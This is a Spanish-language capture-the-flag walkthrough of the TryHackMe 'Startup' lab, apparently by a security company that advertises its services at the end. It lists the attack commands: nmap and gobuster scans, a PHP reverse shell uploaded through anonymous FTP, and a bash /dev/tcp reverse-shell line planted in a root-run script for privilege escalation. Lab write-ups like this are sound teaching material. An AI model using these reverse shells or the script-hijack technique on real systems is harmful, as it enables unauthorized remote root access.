¡Bienvenido a este manual de pentesting para principiantes! En este manual, te guiaré a través de los pasos esenciales para realizar un pentesting en la máquina Startup TryHackMe utilizando las siguientes herramientas: nmap, gobuster y wireshark. A lo largo del manual, explicaré el propósito de cada herramienta y los comandos utilizados. ¡Comencemos!
Paso 1: Configuración inicial de Startup TryHackMe
Primeramente, crea un directorio de trabajo para almacenar todos los archivos relacionados con el pentesting. También, agrega la dirección IP de la máquina objetivo al archivo de hosts para facilitar el acceso.
Paso 2: Comprobación de disponibilidad
Antes de comenzar con el pentesting, realiza un ping a la máquina objetivo para verificar que esté activa y lista para ser analizada.
Paso 3: Escaneo inicial de puertos
Realiza un escaneo sencillo de puertos utilizando la herramienta nmap. Ejecuta el siguiente comando:
nmap -p- ipmaquina -oN nmap_startup_inicial
Este comando te mostrará los puertos 21, 22 y 80 que están abiertos en la máquina objetivo. A continuación, explicaré brevemente para qué se utiliza cada uno de estos servicios:
- 21: FTP (Protocolo de Transferencia de Archivos) – Permite la transferencia de archivos.
- 22: SSH (Secure Shell) – Proporciona acceso seguro a la máquina a través de una conexión cifrada.
- 80: HTTP (Protocolo de Transferencia de Hipertexto) – Utilizado para servir páginas web.
Paso 4: Escaneo exhaustivo de puertos
Realiza un escaneo más exhaustivo de los puertos previamente identificados utilizando nmap. Ejecuta el siguiente comando:
nmap -p 21,22,80 -sCVS --min-rate 5000 -v -n ipmaquina -oN nmap_startup_completo
Este comando proporcionará información detallada sobre los servicios y las vulnerabilidades potenciales presentes en los puertos identificados. Donde podemos observar que está permitido el acceso anónimo y la carga al directorio ftp.
Paso 5: Evaluación del acceso anónimo al FTP
Observaste que el acceso anónimo al FTP está permitido en la máquina objetivo. Realizaremos una evaluación más detallada descargando un archivo txt y un archivo jpg desde el FTP para su inspección. Utilizaremos el comando «get» para descargar los archivos, pero primero, debemos verificar si hay información interesante dentro de ellos.
Paso 6: Inspección del sitio web con gobuster de Startup TryHackMe
Utilizaremos la herramienta gobuster para inspeccionar el sitio web en busca de directorios ocultos. Ejecuta el siguiente comando:
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 100 -q -u ipmaquina
Este comando buscará y mostrará los directorios y archivos ocultos presentes en el sitio web. Y aquí observamos que el directorio ftp al que podemos subir un archivo lo lista, por lo que podemos subir y ejecutar un php-reverse-shell.
Paso 7: Acceso al FTP y carga de una shell reversa en Startup TryHackMe
Accedemos al FTP para proceder a realizar una PHP Reverse Shell. Creamos un archivo llamado shell.php con el contenido de este enlace, recuerda cambiar la ip y el puerto de escucha. Luego, accedemos nuevamente al FTP y utilizamos el comando «put shell.php» para subir el archivo shell.php al directorio FTP. Verificamos que el archivo se haya cargado correctamente en el directorio.
Paso 8: Ganar acceso utilizando la shell reversa
Abrimos una ventana de comandos y ejecutamos el siguiente comando:
nc -nvlp 1234
Luego, desde nuestro navegador web, accedemos a http://ipmaquina/files/ftp/archivo.php para establecer el primer acceso utilizando la shell reversa. Aquí es donde obtenemos la primera bandera.
Paso 9: Configuración de un servidor HTTP en la máquina objetivo
Dentro de la máquina, revisando los archivos y carpetas, comprobamos que hay un archivo de wireshark que nos puede dar información. Montamos un servidor HTTP en la máquina objetivo ejecutando el siguiente comando:
python -m http.server
Esto nos permitirá descargar archivos desde la máquina atacante. También podemos copiar el archivo de Wireshark a la carpeta /ftp para descargarlo más tarde.
Paso 10: Descarga e inspección del archivo de Wireshark
Desde nuestra máquina atacante, ejecutamos el siguiente comando:
wget http://ipmaquinaatacada:8000/archivo
Esto descargará el archivo desde el servidor HTTP en la máquina objetivo. Luego, podemos inspeccionar el archivo utilizando Wireshark para analizar el tráfico de red. Podemos encontrar ataques con shell reversas que se encuentran en el puerto 4444. Al analizar los paquetes, encontramos una posible contraseña que podemos probar con el usuario descubierto en la carpeta home.
Paso 11: Acceso por SSH utilizando el usuario «lennie»
Accedemos por SSH a la máquina objetivo utilizando el usuario «lennie». Esto se puede hacer utilizando el comando «ssh usuario@ipmaquina». Navegando por los directorios, encontramos un archivo .sh que si lo inspeccionamos, llama a otro archivo .sh, al revisar los permisos, vemos que podemos editarlo para crear una shell reversa, lo abrimos y en la segunda linea añadimos lo siguiente: bash -i >& dev/tcp/ipvpn/443 0>&1
. Guardamos los cambios y ejecutamos el comando «crontab -e» para configurar un cron que se ejecute cada minuto.
Paso 12: Obtención de acceso root
Agregamos la siguiente línea al archivo crontab:
* * * * * /bin/bash /etc/print.sh
Abrimos una ventana de comandos y ejecutamos el siguiente comando:
nc -nvlp 443
Esperamos a obtener acceso root a través de la shell reversa. Una vez dentro, buscamos la última bandera y consideramos la máquina completamente hackeada.
Resumen Startup TryHackMe
En resumen, hemos realizado un pentesting paso a paso utilizando diversas herramientas. Comenzamos con un escaneo inicial de puertos utilizando nmap y luego realizamos un escaneo más exhaustivo. Evaluamos el acceso anónimo al FTP y luego inspeccionamos el sitio web utilizando gobuster. Ganamos acceso a la máquina objetivo utilizando una shell reversa y analizamos el tráfico de red utilizando Wireshark. Posteriormente, obtuvimos acceso al usuario «lennie» y escalamos privilegios para obtener acceso root.
Confía en DCSeguridad
Si necesitas servicios de pentesting y seguridad informática, te recomendamos contactar a nuestra empresa, DCSeguridad. Nuestro equipo de expertos en seguridad puede ayudarte a proteger tu negocio y garantizar la integridad de tus sistemas. Únete a nuestro canal de Telegram para recibir actualizaciones y consejos de seguridad. ¡Estamos aquí para ayudarte!